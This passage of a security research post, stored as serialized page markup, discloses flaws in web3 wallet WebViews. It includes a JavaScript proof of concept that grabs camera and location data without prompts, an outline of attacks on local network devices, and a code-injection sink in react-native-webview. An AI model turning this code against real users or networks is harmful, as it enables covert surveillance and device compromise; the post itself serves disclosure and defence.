'",{"type":26,"tag":475,"props":156872,"children":156873},{"style":714},[156874],{"type":32,"value":34391},{"type":26,"tag":475,"props":156876,"children":156877},{"style":2375},[156878],{"type":32,"value":57638},{"type":26,"tag":475,"props":156880,"children":156881},{"style":714},[156882],{"type":32,"value":3533},{"type":26,"tag":475,"props":156884,"children":156885},{"class":477,"line":845},[156886,156890,156894],{"type":26,"tag":475,"props":156887,"children":156888},{"style":586},[156889],{"type":32,"value":78705},{"type":26,"tag":475,"props":156891,"children":156892},{"style":482},[156893],{"type":32,"value":8769},{"type":26,"tag":475,"props":156895,"children":156896},{"style":714},[156897],{"type":32,"value":2729},{"type":26,"tag":475,"props":156899,"children":156900},{"class":477,"line":854},[156901],{"type":26,"tag":475,"props":156902,"children":156903},{"style":714},[156904],{"type":32,"value":156905}," };\n",{"type":26,"tag":475,"props":156907,"children":156908},{"class":477,"line":862},[156909],{"type":26,"tag":475,"props":156910,"children":156911},{"emptyLinePlaceholder":18},[156912],{"type":32,"value":545},{"type":26,"tag":475,"props":156914,"children":156915},{"class":477,"line":885},[156916,156921,156925,156929],{"type":26,"tag":475,"props":156917,"children":156918},{"style":482},[156919],{"type":32,"value":156920}," async",{"type":26,"tag":475,"props":156922,"children":156923},{"style":482},[156924],{"type":32,"value":37907},{"type":26,"tag":475,"props":156926,"children":156927},{"style":493},[156928],{"type":32,"value":90400},{"type":26,"tag":475,"props":156930,"children":156931},{"style":714},[156932],{"type":32,"value":882},{"type":26,"tag":475,"props":156934,"children":156935},{"class":477,"line":913},[156936,156940,156945,156949,156953,156958,156962,156967,156971,156976,156980,156985,156989],{"type":26,"tag":475,"props":156937,"children":156938},{"style":482},[156939],{"type":32,"value":150466},{"type":26,"tag":475,"props":156941,"children":156942},{"style":2375},[156943],{"type":32,"value":156944}," stream",{"type":26,"tag":475,"props":156946,"children":156947},{"style":714},[156948],{"type":32,"value":32610},{"type":26,"tag":475,"props":156950,"children":156951},{"style":586},[156952],{"type":32,"value":2476},{"type":26,"tag":475,"props":156954,"children":156955},{"style":2375},[156956],{"type":32,"value":156957}," navigator",{"type":26,"tag":475,"props":156959,"children":156960},{"style":714},[156961],{"type":32,"value":353},{"type":26,"tag":475,"props":156963,"children":156964},{"style":2375},[156965],{"type":32,"value":156966},"mediaDevices",{"type":26,"tag":475,"props":156968,"children":156969},{"style":714},[156970],{"type":32,"value":353},{"type":26,"tag":475,"props":156972,"children":156973},{"style":493},[156974],{"type":32,"value":156975},"getUserMedia",{"type":26,"tag":475,"props":156977,"children":156978},{"style":714},[156979],{"type":32,"value":31198},{"type":26,"tag":475,"props":156981,"children":156982},{"style":2375},[156983],{"type":32,"value":156984},"video:",{"type":26,"tag":475,"props":156986,"children":156987},{"style":482},[156988],{"type":32,"value":1214},{"type":26,"tag":475,"props":156990,"children":156991},{"style":714},[156992],{"type":32,"value":38528},{"type":26,"tag":475,"props":156994,"children":156995},{"class":477,"line":926},[156996,157000,157005,157009,157013,157017,157021,157025,157030],{"type":26,"tag":475,"props":156997,"children":156998},{"style":482},[156999],{"type":32,"value":150466},{"type":26,"tag":475,"props":157001,"children":157002},{"style":2375},[157003],{"type":32,"value":157004}," video",{"type":26,"tag":475,"props":157006,"children":157007},{"style":714},[157008],{"type":32,"value":32610},{"type":26,"tag":475,"props":157010,"children":157011},{"style":2375},[157012],{"type":32,"value":32406},{"type":26,"tag":475,"props":157014,"children":157015},{"style":714},[157016],{"type":32,"value":353},{"type":26,"tag":475,"props":157018,"children":157019},{"style":493},[157020],{"type":32,"value":36415},{"type":26,"tag":475,"props":157022,"children":157023},{"style":714},[157024],{"type":32,"value":626},{"type":26,"tag":475,"props":157026,"children":157027},{"style":629},[157028],{"type":32,"value":157029},"\"video\"",{"type":26,"tag":475,"props":157031,"children":157032},{"style":714},[157033],{"type":32,"value":3533},{"type":26,"tag":475,"props":157035,"children":157036},{"class":477,"line":948},[157037,157042,157046,157051,157055,157059],{"type":26,"tag":475,"props":157038,"children":157039},{"style":2375},[157040],{"type":32,"value":157041}," video",{"type":26,"tag":475,"props":157043,"children":157044},{"style":714},[157045],{"type":32,"value":353},{"type":26,"tag":475,"props":157047,"children":157048},{"style":2375},[157049],{"type":32,"value":157050},"srcObject",{"type":26,"tag":475,"props":157052,"children":157053},{"style":714},[157054],{"type":32,"value":32610},{"type":26,"tag":475,"props":157056,"children":157057},{"style":2375},[157058],{"type":32,"value":35955},{"type":26,"tag":475,"props":157060,"children":157061},{"style":714},[157062],{"type":32,"value":2729},{"type":26,"tag":475,"props":157064,"children":157065},{"class":477,"line":966},[157066,157070,157075,157079,157083,157087,157091,157095,157100],{"type":26,"tag":475,"props":157067,"children":157068},{"style":482},[157069],{"type":32,"value":150466},{"type":26,"tag":475,"props":157071,"children":157072},{"style":2375},[157073],{"type":32,"value":157074}," canvas",{"type":26,"tag":475,"props":157076,"children":157077},{"style":714},[157078],{"type":32,"value":32610},{"type":26,"tag":475,"props":157080,"children":157081},{"style":2375},[157082],{"type":32,"value":32406},{"type":26,"tag":475,"props":157084,"children":157085},{"style":714},[157086],{"type":32,"value":353},{"type":26,"tag":475,"props":157088,"children":157089},{"style":493},[157090],{"type":32,"value":36415},{"type":26,"tag":475,"props":157092,"children":157093},{"style":714},[157094],{"type":32,"value":626},{"type":26,"tag":475,"props":157096,"children":157097},{"style":629},[157098],{"type":32,"value":157099},"\"canvas\"",{"type":26,"tag":475,"props":157101,"children":157102},{"style":714},[157103],{"type":32,"value":3533},{"type":26,"tag":475,"props":157105,"children":157106},{"class":477,"line":979},[157107],{"type":26,"tag":475,"props":157108,"children":157109},{"emptyLinePlaceholder":18},[157110],{"type":32,"value":545},{"type":26,"tag":475,"props":157112,"children":157113},{"class":477,"line":1006},[157114,157118,157122,157127,157132,157136],{"type":26,"tag":475,"props":157115,"children":157116},{"style":2375},[157117],{"type":32,"value":157041},{"type":26,"tag":475,"props":157119,"children":157120},{"style":714},[157121],{"type":32,"value":353},{"type":26,"tag":475,"props":157123,"children":157124},{"style":493},[157125],{"type":32,"value":157126},"onloadedmetadata",{"type":26,"tag":475,"props":157128,"children":157129},{"style":714},[157130],{"type":32,"value":157131}," = () ",{"type":26,"tag":475,"props":157133,"children":157134},{"style":482},[157135],{"type":32,"value":2360},{"type":26,"tag":475,"props":157137,"children":157138},{"style":714},[157139],{"type":32,"value":579},{"type":26,"tag":475,"props":157141,"children":157142},{"class":477,"line":1046},[157143,157148,157152,157157,157161,157165,157169,157174],{"type":26,"tag":475,"props":157144,"children":157145},{"style":2375},[157146],{"type":32,"value":157147}," canvas",{"type":26,"tag":475,"props":157149,"children":157150},{"style":714},[157151],{"type":32,"value":353},{"type":26,"tag":475,"props":157153,"children":157154},{"style":2375},[157155],{"type":32,"value":157156},"width",{"type":26,"tag":475,"props":157158,"children":157159},{"style":714},[157160],{"type":32,"value":32610},{"type":26,"tag":475,"props":157162,"children":157163},{"style":2375},[157164],{"type":32,"value":131290},{"type":26,"tag":475,"props":157166,"children":157167},{"style":714},[157168],{"type":32,"value":353},{"type":26,"tag":475,"props":157170,"children":157171},{"style":2375},[157172],{"type":32,"value":157173},"videoWidth",{"type":26,"tag":475,"props":157175,"children":157176},{"style":714},[157177],{"type":32,"value":2729},{"type":26,"tag":475,"props":157179,"children":157180},{"class":477,"line":1068},[157181,157185,157189,157194,157198,157202,157206,157211],{"type":26,"tag":475,"props":157182,"children":157183},{"style":2375},[157184],{"type":32,"value":157147},{"type":26,"tag":475,"props":157186,"children":157187},{"style":714},[157188],{"type":32,"value":353},{"type":26,"tag":475,"props":157190,"children":157191},{"style":2375},[157192],{"type":32,"value":157193},"height",{"type":26,"tag":475,"props":157195,"children":157196},{"style":714},[157197],{"type":32,"value":32610},{"type":26,"tag":475,"props":157199,"children":157200},{"style":2375},[157201],{"type":32,"value":131290},{"type":26,"tag":475,"props":157203,"children":157204},{"style":714},[157205],{"type":32,"value":353},{"type":26,"tag":475,"props":157207,"children":157208},{"style":2375},[157209],{"type":32,"value":157210},"videoHeight",{"type":26,"tag":475,"props":157212,"children":157213},{"style":714},[157214],{"type":32,"value":2729},{"type":26,"tag":475,"props":157216,"children":157217},{"class":477,"line":1077},[157218],{"type":26,"tag":475,"props":157219,"children":157220},{"style":714},[157221],{"type":32,"value":47768},{"type":26,"tag":475,"props":157223,"children":157224},{"class":477,"line":1090},[157225],{"type":26,"tag":475,"props":157226,"children":157227},{"emptyLinePlaceholder":18},[157228],{"type":32,"value":545},{"type":26,"tag":475,"props":157230,"children":157231},{"class":477,"line":1119},[157232,157237,157241,157246,157250,157254,157258],{"type":26,"tag":475,"props":157233,"children":157234},{"style":2375},[157235],{"type":32,"value":157236}," connect",{"type":26,"tag":475,"props":157238,"children":157239},{"style":714},[157240],{"type":32,"value":353},{"type":26,"tag":475,"props":157242,"children":157243},{"style":493},[157244],{"type":32,"value":157245},"onclick",{"type":26,"tag":475,"props":157247,"children":157248},{"style":714},[157249],{"type":32,"value":32610},{"type":26,"tag":475,"props":157251,"children":157252},{"style":2375},[157253],{"type":32,"value":689},{"type":26,"tag":475,"props":157255,"children":157256},{"style":482},[157257],{"type":32,"value":27454},{"type":26,"tag":475,"props":157259,"children":157260},{"style":714},[157261],{"type":32,"value":579},{"type":26,"tag":475,"props":157263,"children":157264},{"class":477,"line":1132},[157265,157270,157274,157279],{"type":26,"tag":475,"props":157266,"children":157267},{"style":2375},[157268],{"type":32,"value":157269}," video",{"type":26,"tag":475,"props":157271,"children":157272},{"style":714},[157273],{"type":32,"value":353},{"type":26,"tag":475,"props":157275,"children":157276},{"style":493},[157277],{"type":32,"value":157278},"play",{"type":26,"tag":475,"props":157280,"children":157281},{"style":714},[157282],{"type":32,"value":3376},{"type":26,"tag":475,"props":157284,"children":157285},{"class":477,"line":1146},[157286],{"type":26,"tag":475,"props":157287,"children":157288},{"emptyLinePlaceholder":18},[157289],{"type":32,"value":545},{"type":26,"tag":475,"props":157291,"children":157292},{"class":477,"line":1155},[157293,157297,157301,157306,157310,157315,157319,157324,157328,157332,157336,157340,157344,157348],{"type":26,"tag":475,"props":157294,"children":157295},{"style":2375},[157296],{"type":32,"value":157147},{"type":26,"tag":475,"props":157298,"children":157299},{"style":714},[157300],{"type":32,"value":353},{"type":26,"tag":475,"props":157302,"children":157303},{"style":493},[157304],{"type":32,"value":157305},"getContext",{"type":26,"tag":475,"props":157307,"children":157308},{"style":714},[157309],{"type":32,"value":626},{"type":26,"tag":475,"props":157311,"children":157312},{"style":629},[157313],{"type":32,"value":157314},"\"2d\"",{"type":26,"tag":475,"props":157316,"children":157317},{"style":714},[157318],{"type":32,"value":20450},{"type":26,"tag":475,"props":157320,"children":157321},{"style":493},[157322],{"type":32,"value":157323},"drawImage",{"type":26,"tag":475,"props":157325,"children":157326},{"style":714},[157327],{"type":32,"value":626},{"type":26,"tag":475,"props":157329,"children":157330},{"style":2375},[157331],{"type":32,"value":131290},{"type":26,"tag":475,"props":157333,"children":157334},{"style":714},[157335],{"type":32,"value":637},{"type":26,"tag":475,"props":157337,"children":157338},{"style":903},[157339],{"type":32,"value":3732},{"type":26,"tag":475,"props":157341,"children":157342},{"style":714},[157343],{"type":32,"value":637},{"type":26,"tag":475,"props":157345,"children":157346},{"style":903},[157347],{"type":32,"value":3732},{"type":26,"tag":475,"props":157349,"children":157350},{"style":714},[157351],{"type":32,"value":3533},{"type":26,"tag":475,"props":157353,"children":157354},{"class":477,"line":1163},[157355,157360,157364,157369,157373,157378,157382,157386,157390,157395,157399,157404],{"type":26,"tag":475,"props":157356,"children":157357},{"style":2375},[157358],{"type":32,"value":157359}," stream",{"type":26,"tag":475,"props":157361,"children":157362},{"style":714},[157363],{"type":32,"value":353},{"type":26,"tag":475,"props":157365,"children":157366},{"style":493},[157367],{"type":32,"value":157368},"getTracks",{"type":26,"tag":475,"props":157370,"children":157371},{"style":714},[157372],{"type":32,"value":29871},{"type":26,"tag":475,"props":157374,"children":157375},{"style":493},[157376],{"type":32,"value":157377},"forEach",{"type":26,"tag":475,"props":157379,"children":157380},{"style":714},[157381],{"type":32,"value":626},{"type":26,"tag":475,"props":157383,"children":157384},{"style":2375},[157385],{"type":32,"value":21438},{"type":26,"tag":475,"props":157387,"children":157388},{"style":482},[157389],{"type":32,"value":27454},{"type":26,"tag":475,"props":157391,"children":157392},{"style":2375},[157393],{"type":32,"value":157394}," t",{"type":26,"tag":475,"props":157396,"children":157397},{"style":714},[157398],{"type":32,"value":353},{"type":26,"tag":475,"props":157400,"children":157401},{"style":493},[157402],{"type":32,"value":157403},"stop",{"type":26,"tag":475,"props":157405,"children":157406},{"style":714},[157407],{"type":32,"value":2494},{"type":26,"tag":475,"props":157409,"children":157410},{"class":477,"line":1172},[157411,157415,157419,157424,157428,157432,157436,157440],{"type":26,"tag":475,"props":157412,"children":157413},{"style":2375},[157414],{"type":32,"value":157147},{"type":26,"tag":475,"props":157416,"children":157417},{"style":714},[157418],{"type":32,"value":353},{"type":26,"tag":475,"props":157420,"children":157421},{"style":493},[157422],{"type":32,"value":157423},"toBlob",{"type":26,"tag":475,"props":157425,"children":157426},{"style":714},[157427],{"type":32,"value":31223},{"type":26,"tag":475,"props":157429,"children":157430},{"style":2375},[157431],{"type":32,"value":32645},{"type":26,"tag":475,"props":157433,"children":157434},{"style":714},[157435],{"type":32,"value":2794},{"type":26,"tag":475,"props":157437,"children":157438},{"style":482},[157439],{"type":32,"value":2360},{"type":26,"tag":475,"props":157441,"children":157442},{"style":714},[157443],{"type":32,"value":579},{"type":26,"tag":475,"props":157445,"children":157446},{"class":477,"line":1181},[157447,157452,157456,157460,157464,157469,157473,157478,157482,157486],{"type":26,"tag":475,"props":157448,"children":157449},{"style":2375},[157450],{"type":32,"value":157451}," pic",{"type":26,"tag":475,"props":157453,"children":157454},{"style":714},[157455],{"type":32,"value":353},{"type":26,"tag":475,"props":157457,"children":157458},{"style":2375},[157459],{"type":32,"value":32368},{"type":26,"tag":475,"props":157461,"children":157462},{"style":714},[157463],{"type":32,"value":32610},{"type":26,"tag":475,"props":157465,"children":157466},{"style":2375},[157467],{"type":32,"value":157468},"URL",{"type":26,"tag":475,"props":157470,"children":157471},{"style":714},[157472],{"type":32,"value":353},{"type":26,"tag":475,"props":157474,"children":157475},{"style":493},[157476],{"type":32,"value":157477},"createObjectURL",{"type":26,"tag":475,"props":157479,"children":157480},{"style":714},[157481],{"type":32,"value":626},{"type":26,"tag":475,"props":157483,"children":157484},{"style":2375},[157485],{"type":32,"value":32645},{"type":26,"tag":475,"props":157487,"children":157488},{"style":714},[157489],{"type":32,"value":3533},{"type":26,"tag":475,"props":157491,"children":157492},{"class":477,"line":1189},[157493],{"type":26,"tag":475,"props":157494,"children":157495},{"style":714},[157496],{"type":32,"value":157497}," });\n",{"type":26,"tag":475,"props":157499,"children":157500},{"class":477,"line":1221},[157501],{"type":26,"tag":475,"props":157502,"children":157503},{"emptyLinePlaceholder":18},[157504],{"type":32,"value":545},{"type":26,"tag":475,"props":157506,"children":157507},{"class":477,"line":1848},[157508,157513,157517,157522,157526,157531,157535,157540,157544],{"type":26,"tag":475,"props":157509,"children":157510},{"style":2375},[157511],{"type":32,"value":157512}," navigator",{"type":26,"tag":475,"props":157514,"children":157515},{"style":714},[157516],{"type":32,"value":353},{"type":26,"tag":475,"props":157518,"children":157519},{"style":2375},[157520],{"type":32,"value":157521},"geolocation",{"type":26,"tag":475,"props":157523,"children":157524},{"style":714},[157525],{"type":32,"value":353},{"type":26,"tag":475,"props":157527,"children":157528},{"style":493},[157529],{"type":32,"value":157530},"getCurrentPosition",{"type":26,"tag":475,"props":157532,"children":157533},{"style":714},[157534],{"type":32,"value":626},{"type":26,"tag":475,"props":157536,"children":157537},{"style":2375},[157538],{"type":32,"value":157539},"pos",{"type":26,"tag":475,"props":157541,"children":157542},{"style":482},[157543],{"type":32,"value":27454},{"type":26,"tag":475,"props":157545,"children":157546},{"style":714},[157547],{"type":32,"value":579},{"type":26,"tag":475,"props":157549,"children":157550},{"class":477,"line":1857},[157551,157556,157560,157564,157568,157572,157577],{"type":26,"tag":475,"props":157552,"children":157553},{"style":482},[157554],{"type":32,"value":157555}," const",{"type":26,"tag":475,"props":157557,"children":157558},{"style":2375},[157559],{"type":32,"value":37139},{"type":26,"tag":475,"props":157561,"children":157562},{"style":714},[157563],{"type":32,"value":32610},{"type":26,"tag":475,"props":157565,"children":157566},{"style":2375},[157567],{"type":32,"value":157539},{"type":26,"tag":475,"props":157569,"children":157570},{"style":714},[157571],{"type":32,"value":353},{"type":26,"tag":475,"props":157573,"children":157574},{"style":2375},[157575],{"type":32,"value":157576},"coords",{"type":26,"tag":475,"props":157578,"children":157579},{"style":714},[157580],{"type":32,"value":2729},{"type":26,"tag":475,"props":157582,"children":157583},{"class":477,"line":1866},[157584,157589,157593,157597,157601,157606,157610,157614,157618,157623,157627,157632,157636,157640,157644,157648,157652,157657,157661,157665,157669,157674,157678,157682,157686,157690,157694,157698,157702],{"type":26,"tag":475,"props":157585,"children":157586},{"style":2375},[157587],{"type":32,"value":157588}," gps",{"type":26,"tag":475,"props":157590,"children":157591},{"style":714},[157592],{"type":32,"value":353},{"type":26,"tag":475,"props":157594,"children":157595},{"style":2375},[157596],{"type":32,"value":34659},{"type":26,"tag":475,"props":157598,"children":157599},{"style":714},[157600],{"type":32,"value":32610},{"type":26,"tag":475,"props":157602,"children":157603},{"style":629},[157604],{"type":32,"value":157605},"`Lat: ",{"type":26,"tag":475,"props":157607,"children":157608},{"style":482},[157609],{"type":32,"value":711},{"type":26,"tag":475,"props":157611,"children":157612},{"style":2375},[157613],{"type":32,"value":2854},{"type":26,"tag":475,"props":157615,"children":157616},{"style":714},[157617],{"type":32,"value":353},{"type":26,"tag":475,"props":157619,"children":157620},{"style":2375},[157621],{"type":32,"value":157622},"latitude",{"type":26,"tag":475,"props":157624,"children":157625},{"style":714},[157626],{"type":32,"value":353},{"type":26,"tag":475,"props":157628,"children":157629},{"style":493},[157630],{"type":32,"value":157631},"toFixed",{"type":26,"tag":475,"props":157633,"children":157634},{"style":714},[157635],{"type":32,"value":626},{"type":26,"tag":475,"props":157637,"children":157638},{"style":903},[157639],{"type":32,"value":3722},{"type":26,"tag":475,"props":157641,"children":157642},{"style":714},[157643],{"type":32,"value":2835},{"type":26,"tag":475,"props":157645,"children":157646},{"style":482},[157647],{"type":32,"value":722},{"type":26,"tag":475,"props":157649,"children":157650},{"style":48067},[157651],{"type":32,"value":48070},{"type":26,"tag":475,"props":157653,"children":157654},{"style":629},[157655],{"type":32,"value":157656},"Lon: ",{"type":26,"tag":475,"props":157658,"children":157659},{"style":482},[157660],{"type":32,"value":711},{"type":26,"tag":475,"props":157662,"children":157663},{"style":2375},[157664],{"type":32,"value":2854},{"type":26,"tag":475,"props":157666,"children":157667},{"style":714},[157668],{"type":32,"value":353},{"type":26,"tag":475,"props":157670,"children":157671},{"style":2375},[157672],{"type":32,"value":157673},"longitude",{"type":26,"tag":475,"props":157675,"children":157676},{"style":714},[157677],{"type":32,"value":353},{"type":26,"tag":475,"props":157679,"children":157680},{"style":493},[157681],{"type":32,"value":157631},{"type":26,"tag":475,"props":157683,"children":157684},{"style":714},[157685],{"type":32,"value":626},{"type":26,"tag":475,"props":157687,"children":157688},{"style":903},[157689],{"type":32,"value":3722},{"type":26,"tag":475,"props":157691,"children":157692},{"style":714},[157693],{"type":32,"value":2835},{"type":26,"tag":475,"props":157695,"children":157696},{"style":482},[157697],{"type":32,"value":722},{"type":26,"tag":475,"props":157699,"children":157700},{"style":629},[157701],{"type":32,"value":10090},{"type":26,"tag":475,"props":157703,"children":157704},{"style":714},[157705],{"type":32,"value":2729},{"type":26,"tag":475,"props":157707,"children":157708},{"class":477,"line":1875},[157709,157714,157718,157722,157727,157731,157735],{"type":26,"tag":475,"props":157710,"children":157711},{"style":714},[157712],{"type":32,"value":157713}," }, ",{"type":26,"tag":475,"props":157715,"children":157716},{"style":2375},[157717],{"type":32,"value":48113},{"type":26,"tag":475,"props":157719,"children":157720},{"style":482},[157721],{"type":32,"value":27454},{"type":26,"tag":475,"props":157723,"children":157724},{"style":493},[157725],{"type":32,"value":157726}," alert",{"type":26,"tag":475,"props":157728,"children":157729},{"style":714},[157730],{"type":32,"value":626},{"type":26,"tag":475,"props":157732,"children":157733},{"style":2375},[157734],{"type":32,"value":48113},{"type":26,"tag":475,"props":157736,"children":157737},{"style":714},[157738],{"type":32,"value":6936},{"type":26,"tag":475,"props":157740,"children":157741},{"class":477,"line":1883},[157742],{"type":26,"tag":475,"props":157743,"children":157744},{"style":714},[157745],{"type":32,"value":47768},{"type":26,"tag":475,"props":157747,"children":157748},{"class":477,"line":1892},[157749],{"type":26,"tag":475,"props":157750,"children":157751},{"emptyLinePlaceholder":18},[157752],{"type":32,"value":545},{"type":26,"tag":475,"props":157754,"children":157755},{"class":477,"line":1901},[157756],{"type":26,"tag":475,"props":157757,"children":157758},{"style":714},[157759],{"type":32,"value":750},{"type":26,"tag":475,"props":157761,"children":157762},{"class":477,"line":1910},[157763,157768],{"type":26,"tag":475,"props":157764,"children":157765},{"style":493},[157766],{"type":32,"value":157767}," main",{"type":26,"tag":475,"props":157769,"children":157770},{"style":714},[157771],{"type":32,"value":3376},{"type":26,"tag":475,"props":157773,"children":157774},{"class":477,"line":1919},[157775,157779,157783],{"type":26,"tag":475,"props":157776,"children":157777},{"style":32074},[157778],{"type":32,"value":32527},{"type":26,"tag":475,"props":157780,"children":157781},{"style":482},[157782],{"type":32,"value":32114},{"type":26,"tag":475,"props":157784,"children":157785},{"style":32074},[157786],{"type":32,"value":5706},{"type":26,"tag":475,"props":157788,"children":157789},{"class":477,"line":1927},[157790,157794,157798],{"type":26,"tag":475,"props":157791,"children":157792},{"style":32074},[157793],{"type":32,"value":32128},{"type":26,"tag":475,"props":157795,"children":157796},{"style":482},[157797],{"type":32,"value":32098},{"type":26,"tag":475,"props":157799,"children":157800},{"style":32074},[157801],{"type":32,"value":5706},{"type":26,"tag":475,"props":157803,"children":157804},{"class":477,"line":1936},[157805,157809,157813],{"type":26,"tag":475,"props":157806,"children":157807},{"style":32074},[157808],{"type":32,"value":32128},{"type":26,"tag":475,"props":157810,"children":157811},{"style":482},[157812],{"type":32,"value":32081},{"type":26,"tag":475,"props":157814,"children":157815},{"style":32074},[157816],{"type":32,"value":5706},{"type":26,"tag":70,"props":157818,"children":157819},{"id":3937},[157820],{"type":32,"value":3940},{"type":26,"tag":35,"props":157822,"children":157823},{},[157824],{"type":32,"value":157825},"Unfortunately, there's no simple solution for fixing this vulnerability, as most libraries don't offer an easy to enable feature flag. Each wallet should be mindful of the libraries they use and subsequently manually implement measures to mitigate this.",{"type":26,"tag":35,"props":157827,"children":157828},{},[157829,157831,157837],{"type":32,"value":157830},"A good baseline for patches like this is Metamask. Their patch for React Native WebView can be found ",{"type":26,"tag":116,"props":157832,"children":157835},{"href":157833,"rel":157834},"https://github.com/MetaMask/metamask-mobile/blob/53e205520cd571e84fbb443470a6e3654650bad4/.yarn/patches/%40metamask-react-native-webview-npm-14.5.0-b34fed6d50.patch#L13",[120],[157836],{"type":32,"value":47278},{"type":32,"value":353},{"type":26,"tag":31048,"props":157839,"children":157840},{"style":31050},[157841],{"type":26,"tag":132,"props":157842,"children":157846},{"src":157843,"alt":157844,"style":157845},"/posts/insecure-webview-integrations/image2.png","Private Network Access desktop prompt","max-height:144px; width:auto; max-width:100%;",[],{"type":26,"tag":35,"props":157848,"children":157849},{},[157850],{"type":32,"value":157851},"However, even with this patch applied, the user experience is suboptimal. Since there's no cache mechanism for preserving the users' choice, various clickjacking scenarios can be instantiated for further tricking the user into a permission approval.",{"type":26,"tag":27,"props":157853,"children":157855},{"id":157854},"local-network-access",[157856],{"type":32,"value":157857},"Local Network Access",{"type":26,"tag":35,"props":157859,"children":157860},{},[157861,157863,157870,157872,157878],{"type":32,"value":157862},"Modern browsers like Chrome have introduced strict protections around access to a user's local network. When a webpage attempts to send requests to servers on the local network or any private IP range, Chrome will prompt the user for explicit permission before allowing the request to proceed. This is part of the ",{"type":26,"tag":116,"props":157864,"children":157867},{"href":157865,"rel":157866},"https://wicg.github.io/private-network-access/",[120],[157868],{"type":32,"value":157869},"Private Network Access",{"type":32,"value":157871}," specification, and the permission prompt is deliberately restricted to secure contexts (HTTPS) to prevent insecure pages from using local network access as a stepping stone to more serious attacks like remote code execution. There are numerous examples available online detailing the implications of these protections ",{"type":26,"tag":116,"props":157873,"children":157876},{"href":157874,"rel":157875},"https://x.com/taviso/status/2051310678800253318",[120],[157877],{"type":32,"value":157874},{"type":32,"value":157879},". Google's Chrome was one of the first browsers to implement this protection on their desktop application.",{"type":26,"tag":31048,"props":157881,"children":157882},{"style":31050},[157883],{"type":26,"tag":132,"props":157884,"children":157887},{"src":157885,"alt":157844,"style":157886},"/posts/insecure-webview-integrations/image3.png","max-height:240px; width:auto; max-width:100%;",[],{"type":26,"tag":35,"props":157889,"children":157890},{},[157891],{"type":32,"value":157892},"WebViews, however, do not enforce this restriction. When a dApp is loaded inside a wallet's WebView, it can freely send requests to any host on the user's local network, including routers, NAS devices, smart home hubs, IP cameras, or any other IoT device without triggering any permission prompt whatsoever. The user has no visibility into this happening. See an example of this below.",{"type":26,"tag":157894,"props":157895,"children":157898},"zoom-image",{"src":157896,"alt":157897},"/posts/insecure-webview-integrations/image4.png","Private Network Access demo",[],{"type":26,"tag":35,"props":157900,"children":157901},{},[157902],{"type":32,"value":157903},"The consequences can increase the impact of certain issues. Local network devices are frequently unpatched, rely on default credentials, and expose administrative interfaces that were never designed to be reachable from an external webpage. An attacker-controlled dApp could:",{"type":26,"tag":82,"props":157905,"children":157906},{},[157907,157912,157917],{"type":26,"tag":86,"props":157908,"children":157909},{},[157910],{"type":32,"value":157911},"Exfiltrate device information from admin panels or unauthenticated API endpoints exposed by routers or IoT devices.",{"type":26,"tag":86,"props":157913,"children":157914},{},[157915],{"type":32,"value":157916},"Perform authenticated actions against devices that rely on network-locality as their only access control (a common pattern in consumer IoT).",{"type":26,"tag":86,"props":157918,"children":157919},{},[157920],{"type":32,"value":157921},"Exploit known CVEs in firmware by sending crafted requests to a device whose vulnerability is already public, potentially achieving remote code execution on that device.",{"type":26,"tag":35,"props":157923,"children":157924},{},[157925],{"type":32,"value":157926},"A user who has installed a reputable web3 wallet has no reason to suspect that browsing via a malicious dApp within that wallet could result in their home devices being probed.",{"type":26,"tag":27,"props":157928,"children":157930},{"id":157929},"uxss-by-code-injection",[157931],{"type":32,"value":157932},"UXSS by Code Injection",{"type":26,"tag":35,"props":157934,"children":157935},{},[157936,157938,157944],{"type":32,"value":157937},"Another sink we found in react-native-webview by just skimming through the code was how the ",{"type":26,"tag":53,"props":157939,"children":157941},{"className":157940},[],[157942],{"type":32,"value":157943},"injectJavascriptObject",{"type":32,"value":157945}," attribute worked. Here is the code snippet:",{"type":26,"tag":465,"props":157947,"children":157949},{"className":156185,"code":157948,"language":156187,"meta":7,"style":7}," private void injectJavascriptObject() {\n if (getSettings().getJavaScriptEnabled()) {\n String js = \"(function(){\\n\" +\n \" window.\" + JAVASCRIPT_INTERFACE + \" = window.\" + JAVASCRIPT_INTERFACE + \" || {};\\n\" +\n \" window.\" + JAVASCRIPT_INTERFACE + \".injectedObjectJson = function () { return \" + (injectedJavaScriptObject == null ? null : (\"`\" + injectedJavaScriptObject + \"`\")) + \"; };\\n\" +\n \"})();\";\n evaluateJavascriptWithFallback(js);\n }\n",[157950],{"type":26,"tag":53,"props":157951,"children":157952},{"__ignoreMap":7},[157953,157973,158002,158036,158091,158196,158208,158221],{"type":26,"tag":475,"props":157954,"children":157955},{"class":477,"line":478},[157956,157960,157964,157969],{"type":26,"tag":475,"props":157957,"children":157958},{"style":482},[157959],{"type":32,"value":868},{"type":26,"tag":475,"props":157961,"children":157962},{"style":505},[157963],{"type":32,"value":50741},{"type":26,"tag":475,"props":157965,"children":157966},{"style":493},[157967],{"type":32,"value":157968}," injectJavascriptObject",{"type":26,"tag":475,"props":157970,"children":157971},{"style":499},[157972],{"type":32,"value":882},{"type":26,"tag":475,"props":157974,"children":157975},{"class":477,"line":516},[157976,157980,157984,157989,157993,157998],{"type":26,"tag":475,"props":157977,"children":157978},{"style":586},[157979],{"type":32,"value":38978},{"type":26,"tag":475,"props":157981,"children":157982},{"style":499},[157983],{"type":32,"value":2775},{"type":26,"tag":475,"props":157985,"children":157986},{"style":493},[157987],{"type":32,"value":157988},"getSettings",{"type":26,"tag":475,"props":157990,"children":157991},{"style":499},[157992],{"type":32,"value":29871},{"type":26,"tag":475,"props":157994,"children":157995},{"style":493},[157996],{"type":32,"value":157997},"getJavaScriptEnabled",{"type":26,"tag":475,"props":157999,"children":158000},{"style":499},[158001],{"type":32,"value":91641},{"type":26,"tag":475,"props":158003,"children":158004},{"class":477,"line":539},[158005,158010,158015,158019,158024,158028,158032],{"type":26,"tag":475,"props":158006,"children":158007},{"style":505},[158008],{"type":32,"value":158009}," String",{"type":26,"tag":475,"props":158011,"children":158012},{"style":2375},[158013],{"type":32,"value":158014}," js",{"type":26,"tag":475,"props":158016,"children":158017},{"style":714},[158018],{"type":32,"value":2383},{"type":26,"tag":475,"props":158020,"children":158021},{"style":629},[158022],{"type":32,"value":158023}," 